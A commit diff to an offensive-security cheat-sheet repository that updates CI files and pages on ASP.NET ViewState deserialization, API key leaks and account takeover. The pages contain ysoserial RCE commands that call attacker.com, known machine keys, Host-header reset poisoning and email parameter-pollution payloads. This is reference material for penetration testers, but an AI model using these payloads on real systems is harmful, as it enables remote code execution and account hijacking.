Обновить README.md

XXE zip recompression tips

.github/.markdownlint.json

@@ -1,5 +1,10 @@
 {
+    "default": true,
     "MD013": false,
+    "MD033": false,
+    "no-duplicate-heading": {
+      "siblings_only": true
+    },
     "ul-indent": {
       "indent": 4
     }

.github/workflows/check-markdown.yml

@@ -1,23 +1,23 @@
 name: check-markdown
-on: [pull_request]
+on: [push, pull_request]
 
 jobs:
   lint:
     runs-on: ubuntu-latest
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v6
       with:
         fetch-depth: 0
 
-    - uses: tj-actions/changed-files@v45
+    - uses: tj-actions/changed-files@v47
       id: changed-files
       with:
         files: '**/*.md'
         separator: ","
         
-    - uses: DavidAnson/markdownlint-cli2-action@v17
+    - uses: DavidAnson/markdownlint-cli2-action@v20
       if: steps.changed-files.outputs.any_changed == 'true'
       with:
         globs: ${{ steps.changed-files.outputs.all_changed_files }}
         separator: ","
-        config: ./.github/.markdownlint.json
+        config: ./.github/.markdownlint.json

.github/workflows/mkdocs-build.yml

@@ -8,12 +8,12 @@ jobs:
   deploy:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v6
         with:
           submodules: recursive
 
       # Checks-out submodules
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v6
       - name: Checkout submodules
         shell: bash
         run: |
@@ -23,7 +23,7 @@ jobs:
           git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
           mv docs/.github/overrides .
 
-      - uses: actions/setup-python@v2
+      - uses: actions/setup-python@v6
         with:
           python-version: 3.x
       - run: pip install mkdocs-material

API Key Leaks/IIS-Machine-Keys.md

@@ -15,7 +15,6 @@
 * [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
 * [References](#references)
 
-
 ## Viewstate Format
 
 ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
@@ -29,10 +28,9 @@ ViewState in IIS is a technique used to retain the state of web controls between
 By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
 Usually unencrypted viewstate are starting with the string `/wEP`.
 
-
 ## Machine Key Format And Locations
 
-A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments. 
+A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
 
 The format of a machineKey is the following.
 
@@ -40,15 +38,15 @@ The format of a machineKey is the following.
 <machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
 ```
 
-The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with. 
+The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
 
-The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data. 
+The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
 
-The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others. 
+The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
 
 The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
 
-The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
+The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
 
 ```xml
 <machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
@@ -62,11 +60,10 @@ Common locations of **web.config** / **machine.config**
 * 64-bits
     * `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
     * `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
-* in the registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
+* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
     * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`  
     * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
 
-
 ## Identify Known Machine Key
 
 Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
@@ -95,6 +92,16 @@ Try multiple machine keys from known products, Microsoft documentation, or other
     validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
     ```
 
+* [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets)
+
+    ```ps1
+    python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
+    python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
+    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
+    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/
+    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
+    ```
+
 * [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
 
     ```powershell
@@ -115,36 +122,34 @@ List of interesting machine keys to use:
 * [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
 * [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
 
-
 ## Decode ViewState
 
 * [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
 * [0xacb/viewgen](https://github.com/0xacb/viewgen)
-    ```powershell
-    $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
-    ```
 
+    ```powershell
+    viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
+    ```
 
 ## Generate ViewState For RCE
 
-First you need to decode the Viewstate to know if the MAC and the encryption are enabled. 
+First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
 
-**Requirements**
+**Requirements**:
 
 * `__VIEWSTATE`
 * `__VIEWSTATEGENERATOR`
 
-
 ### MAC Is Not Enabled
 
 ```ps1
 ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
 ```
 
-
 ### MAC Is Enabled And Encryption Is Disabled
 
-* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen` 
+* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
+
     ```ps1
     AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
     # --modifier = `__VIEWSTATEGENERATOR` parameter value
@@ -152,6 +157,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
     ```
 
 * Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
+
     ```ps1
     .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
     .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
@@ -160,29 +166,29 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
     # --validationkey = validation key from the previous command
     ```
 
-
 ### MAC Is Enabled And Encryption Is Enabled
 
 Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
 
-If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`). 
+If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
 
 * **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
+
     ```ps1
     .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
     ```
 
 * **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
+
     ```ps1
     .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
     ```
 
-
 ## Edit Cookies With The Machine Key
 
 If you have the `machineKey` but the viewstate is disabled.
 
-ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
+ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
 
 ```powershell
 # decrypt cookie
@@ -192,11 +198,10 @@ $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX
 $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
 ```
 
-
 ## References
 
-* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
+* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://web.archive.org/web/20250916225422/https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
-* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://web.archive.org/web/20250806010506/https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
+* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://web.archive.org/web/20250810191756/https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
-* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
+* [Project Blacklist3r - @notsosecure - November 23, 2018](https://web.archive.org/web/20260116051627/https://notsosecure.com/project-blacklist3r)
-* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
+* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://web.archive.org/web/20260107194152/https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

API Key Leaks/README.md

@@ -5,42 +5,43 @@
 ## Summary
 
 - [Tools](#tools)
-- [Methodology](#exploit)
+- [Methodology](#methodology)
     - [Common Causes of Leaks](#common-causes-of-leaks)
     - [Validate The API Key](#validate-the-api-key)
+- [Reducing The Attack Surface](#reducing-the-attack-surface)
 - [References](#references)
 
-
 ## Tools
 
-- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
+- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.
-- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
+- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms.
-- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
+- [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks.
+- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.
 - [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
-- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
+- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web.
-- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
+- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
-- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
+- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place.
-- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
+- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints.
+
     ```powershell
     nuclei -t token-spray/ -var token=token_list.txt
     ```
 
-
 ## Methodology
 
-* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
+- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
-* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
+- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
-     
+
 ### Common Causes of Leaks
 
-* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
+- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
 
-    ```py     
+    ```py
     # Example of hardcoded API key
     api_key = "1234567890abcdef"
     ```
 
-* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
+- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
 
     ```ps1
     ## Scan a Github Organization
@@ -50,17 +51,16 @@
     docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
     ```
 
-* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
+- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
 
     ```ps1
     # Scan a Docker image for verified secrets
     docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
     ```
 
-* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
+- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
-
-* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
 
+- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
 
 ### Validate The API Key
 
@@ -80,16 +80,29 @@ patterns:
 
 Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
 
-* **Example**: Telegram Bot API Token
+- **Example**: Telegram Bot API Token
 
     ```ps1
     curl https://api.telegram.org/bot<TOKEN>/getMe
     ```
 
+## Reducing The Attack Surface
+
+Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.
+
+Add these lines to your `.pre-commit-config.yaml` file.
+
+```yml
+-   repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v3.2.0
+    hooks:
+    -   id: detect-aws-credentials
+    -   id: detect-private-key
+```
 
 ## References
 
-* [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
+- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
-* [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
+- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://web.archive.org/web/20240522172244/https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
-* [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
+- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://web.archive.org/web/20211208043535/https://hackerone.com/reports/376060)
-* [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
+- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://web.archive.org/web/20250714230057/https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)

Account Takeover/README.md

@@ -1,187 +1,187 @@
-# Account Takeover
+# Account Takeover
-
+
-> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
+> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
-
+
-## Summary
+## Summary
-
+
-* [Password Reset Feature](#password-reset-feature)
+* [Password Reset Feature](#password-reset-feature)
-    * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
+    * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
-    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
+    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
-    * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
+    * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
-    * [IDOR on API Parameters](#idor-on-api-parameters)
+    * [IDOR on API Parameters](#idor-on-api-parameters)
-    * [Weak Password Reset Token](#weak-password-reset-token)
+    * [Weak Password Reset Token](#weak-password-reset-token)
-    * [Leaking Password Reset Token](#leaking-password-reset-token)
+    * [Leaking Password Reset Token](#leaking-password-reset-token)
-    * [Password Reset via Username Collision](#password-reset-via-username-collision)
+    * [Password Reset via Username Collision](#password-reset-via-username-collision)
-    * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
+    * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
-* [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
+* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
-    * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
+    * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
-    * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
+    * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
-    * [Account Takeover via CSRF](#account-takeover-via-csrf)
+    * [Account Takeover via CSRF](#account-takeover-via-csrf)
-* [References](#references)
+* [References](#references)
-
+
-## Password Reset Feature
+## Password Reset Feature
-
+
-### Password Reset Token Leak via Referrer
+### Password Reset Token Leak via Referrer
-
+
-1. Request password reset to your email address
+1. Request password reset to your email address
-2. Click on the password reset link
+2. Click on the password reset link
-3. Don't change password
+3. Don't change password
-4. Click any 3rd party websites(eg: Facebook, twitter)
+4. Click any 3rd party websites(e.g., Facebook, twitter)
-5. Intercept the request in Burp Suite proxy
+5. Intercept the request in Burp Suite proxy
-6. Check if the referer header is leaking password reset token.
+6. Check if the referer header is leaking password reset token.
-
+
-### Account Takeover Through Password Reset Poisoning
+### Account Takeover Through Password Reset Poisoning
-
+
-1. Intercept the password reset request in Burp Suite
+1. Intercept the password reset request in Burp Suite
-2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
+2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
-3. Forward the request with the modified header
+3. Forward the request with the modified header
-
+
-    ```http
+    ```http
-    POST https://example.com/reset.php HTTP/1.1
+    POST https://example.com/reset.php HTTP/1.1
-    Accept: */*
+    Accept: */*
-    Content-Type: application/json
+    Content-Type: application/json
-    Host: attacker.com
+    Host: attacker.com
-    ```
+    ```
-
+
-4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
+4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
-
+
-### Password Reset via Email Parameter
+### Password Reset via Email Parameter
-
+
-```powershell
+```powershell
-# parameter pollution
+# parameter pollution
-email=victim@mail.com&email=hacker@mail.com
+email=victim@mail.com&email=hacker@mail.com
-
+
-# array of emails
+# array of emails
-{"email":["victim@mail.com","hacker@mail.com"]}
+{"email":["victim@mail.com","hacker@mail.com"]}
-
+
-# carbon copy
+# carbon copy
-email=victim@mail.com%0A%0Dcc:hacker@mail.com
+email=victim@mail.com%0A%0Dcc:hacker@mail.com
-email=victim@mail.com%0A%0Dbcc:hacker@mail.com
+email=victim@mail.com%0A%0Dbcc:hacker@mail.com
-
+
-# separator
+# separator
-email=victim@mail.com,hacker@mail.com
+email=victim@mail.com,hacker@mail.com
-email=victim@mail.com%20hacker@mail.com
+email=victim@mail.com%20hacker@mail.com
-email=victim@mail.com|hacker@mail.com
+email=victim@mail.com|hacker@mail.com
-```
+```
-
+
-### IDOR on API Parameters
+### IDOR on API Parameters
-
+
-1. Attacker have to login with their account and go to the **Change password** feature.
+1. Attacker have to login with their account and go to the **Change password** feature.
-2. Start the Burp Suite and Intercept the request
+2. Start the Burp Suite and Intercept the request
-3. Send it to the repeater tab and edit the parameters : User ID/email
+3. Send it to the repeater tab and edit the parameters : User ID/email
-
+
-    ```powershell
+    ```powershell
-    POST /api/changepass
+    POST /api/changepass
-    [...]
+    [...]
-    ("form": {"email":"victim@email.com","password":"securepwd"})
+    ("form": {"email":"victim@email.com","password":"securepwd"})
-    ```
+    ```
-
+
-### Weak Password Reset Token
+### Weak Password Reset Token
-
+
-The password reset token should be randomly generated and unique every time.
+The password reset token should be randomly generated and unique every time.
-Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
+Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
-
+
-* Timestamp
+* Timestamp
-* UserID
+* UserID
-* Email of User
+* Email of User
-* Firstname and Lastname
+* Firstname and Lastname
-* Date of Birth
+* Date of Birth
-* Cryptography
+* Cryptography
-* Number only
+* Number only
-* Small token sequence (<6 characters between [A-Z,a-z,0-9])
+* Small token sequence (<6 characters between [A-Z,a-z,0-9])
-* Token reuse
+* Token reuse
-* Token expiration date
+* Token expiration date
-
+
-### Leaking Password Reset Token
+### Leaking Password Reset Token
-
+
-1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
+1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
-2. Inspect the server response and check for `resetToken`
+2. Inspect the server response and check for `resetToken`
-3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
+3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
-
+
-### Password Reset via Username Collision
+### Password Reset via Username Collision
-
+
-1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
+1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
-2. Request a password reset with your malicious username.
+2. Request a password reset with your malicious username.
-3. Use the token sent to your email and reset the victim password.
+3. Use the token sent to your email and reset the victim password.
-4. Connect to the victim account with the new password.
+4. Connect to the victim account with the new password.
-
+
-The platform CTFd was vulnerable to this attack.
+The platform CTFd was vulnerable to this attack.
-See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
+See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
-
+
-### Account Takeover Due To Unicode Normalization Issue
+### Account Takeover Due To Unicode Normalization Issue
-
+
-When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.  
+When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.  
-
+
-* Victim account: `demo@gmail.com`
+* Victim account: `demo@gmail.com`
-* Attacker account: `demⓞ@gmail.com`
+* Attacker account: `demⓞ@gmail.com`
-
+
-[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
+[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
-
+
-[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
+[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
-
+
-## Account Takeover via Web Vulneralities
+## Account Takeover via Web Vulnerabilities
-
+
-### Account Takeover via Cross Site Scripting
+### Account Takeover via Cross Site Scripting
-
+
-1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
+1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
-2. Leak the current **sessions cookie**
+2. Leak the current **sessions cookie**
-3. Authenticate as the user using the cookie
+3. Authenticate as the user using the cookie
-
+
-### Account Takeover via HTTP Request Smuggling
+### Account Takeover via HTTP Request Smuggling
-
+
-Refer to **HTTP Request Smuggling** vulnerability page.
+Refer to **HTTP Request Smuggling** vulnerability page.
-
+
-1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
+1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
-
+
-    ```powershell
+    ```powershell
-    git clone https://github.com/defparam/smuggler.git
+    git clone https://github.com/defparam/smuggler.git
-    cd smuggler
+    cd smuggler
-    python3 smuggler.py -h
+    python3 smuggler.py -h
-    ```
+    ```
-
+
-2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
+2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
-
+
-    ```powershell
+    ```powershell
-    GET http://something.burpcollaborator.net  HTTP/1.1
